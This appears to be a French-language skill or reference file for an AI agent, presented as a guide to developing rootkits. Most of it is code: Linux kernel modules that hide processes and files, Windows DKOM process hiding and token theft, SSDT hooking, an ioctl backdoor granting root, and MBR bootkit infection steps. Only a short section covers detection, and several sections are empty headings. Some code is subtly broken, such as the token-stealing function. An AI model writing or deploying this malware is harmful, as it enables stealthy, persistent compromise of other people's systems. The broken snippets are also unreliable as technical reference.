| name | rootkits |
| description | Rootkits — LKM kernel modules, DKOM, SSDT hooking, syscall table, IDT hooks, bootkits, UEFI, hypervisors, et détection de rootkits |
| tags | ["rootkit","kernel","LKM","DKOM","SSDT","hook","bootkit","UEFI","hypervisor","detection"] |
| version | 1 |
Rootkits
Guide de développement et analyse de rootkits — du kernel mode aux bootkits UEFI, techniques de persistance et invisibilité.
1. Linux Kernel Modules (LKM)
Module Basique
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("EVA");
MODULE_DESCRIPTION("Basic rootkit module");
static int __init rootkit_init(void) {
printk(KERN_INFO "[RK] Rootkit loaded\n");
return 0;
}
static void __exit rootkit_exit(void) {
printk(KERN_INFO "[RK] Rootkit unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod rootkit.ko
lsmod | grep rootkit
rmmod rootkit
Hide Process (LKM)
static int hide_process(pid_t pid) {
struct task_struct *task;
struct list_head *list;
for_each_process(task) {
if (task->pid == pid) {
list_del(&task->tasks);
hash_del(&task->pid_links);
return 0;
}
}
return -ESRCH;
}
File Hiding (LKM)
asmlinkage long (*real_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage long fake_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
long ret = real_getdents64(fd, dirp, count);
if (ret <= 0) return ret;
struct linux_dirent64 *d, *prev = NULL;
int offset = 0;
char *buf = (char *)dirp;
while (offset < ret) {
d = (struct linux_dirent64 *)(buf + offset);
if (strstr(d->d_name, "evil") || strstr(d->d_name, "rootkit")) {
int reclen = d->d_reclen;
if (prev) {
prev->d_reclen += reclen;
} else {
memmove(buf, buf + reclen, ret - reclen);
ret -= reclen;
continue;
}
}
prev = d;
offset += d->d_reclen;
}
return ret;
}
2. DKOM (Direct Kernel Object Manipulation)
Windows — Hide Process
typedef struct _EPROCESS {
LIST_ENTRY ActiveProcessLinks;
HANDLE UniqueProcessId;
} EPROCESS, *PEPROCESS;
void hide_process(PEPROCESS target) {
PLIST_ENTRY prev = target->ActiveProcessLinks.Blink;
PLIST_ENTRY next = target->ActiveProcessLinks.Flink;
prev->Flink = next;
next->Blink = prev;
target->ActiveProcessLinks.Flink = &target->ActiveProcessLinks;
target->ActiveProcessLinks.Blink = &target->ActiveProcessLinks;
}
Token Elevation
void steal_token(PEPROCESS target) {
HANDLE systemToken;
HANDLE targetToken;
systemToken = PsGetProcessToken(PsInitialSystemProcess);
targetToken = PsGetProcessToken(target);
PsGetProcessToken(target) = systemToken;
}
3. SSDT Hooking (Windows)
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTQUERYSYSTEMINFORMATION OriginalNtQSI = NULL;
NTSTATUS HookedNtQSI(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) {
NTSTATUS status = OriginalNtQSI(
SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength
);
if (SystemInformationClass == SystemProcessInformation) {
}
return status;
}
4. IDT Hooking (Interrupt Descriptor Table)
5. Rootkit Communication
IOCTL (Linux)
static long rootkit_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
switch (cmd) {
case RK_HIDE_PID:
hide_process((pid_t)arg);
break;
case RK_SHOW_PID:
show_process((pid_t)arg);
break;
case RK_GET_ROOT:
give_root();
break;
}
return 0;
}
static struct file_operations fops = {
.unlocked_ioctl = rootkit_ioctl,
};
Hidden TCP Port
6. Bootkits
MBR Bootkit
; Infecter le Master Boot Record
; 1. Lire le MBR original
; 2. Écrire le bootkit dans le MBR
; 3. Bootkit charge le vrai MBR ailleurs
; 4. Bootkit s'installe en mémoire
; 5. Pivot vers le VBR (Volume Boot Record)
UEFI Bootkit
7. Hypervisor Rootkits (Ring -1)
8. Anti-Detection
KPP (Kernel Patch Protection — PatchGuard)
Kernel Integrity Check Bypass
9. Rootkit Detection
Linux
rkhunter --check
chkrootkit
lsof -p <pid>
cat /proc/<pid>/maps
lsmod | grep -v "^Module"
dmesg | grep -i "loaded"
Windows
10. Tools Compendium
| Catégorie | Outil | Usage |
|---|
| Develop | LD_PRELOAD | Userland hook |
| Develop | DKOM library | Kernel object manipulation |
| Develop | Windows WDK | Kernel driver dev |
| Develop | Eclipse | Linux kernel module dev |
| Detect | chkrootkit | Linux rootkit detection |
| Detect | rkhunter | Linux rootkit detection |
| Detect | GMER | Windows rootkit detection |
| Detect | Sysinternals | Windows utilities |
| Detect | Volatility | Memory analysis |
| Bootkit | UEFITool | Firmware analysis |
| Bootkit | Chipsec | Platform security |
11. Ressources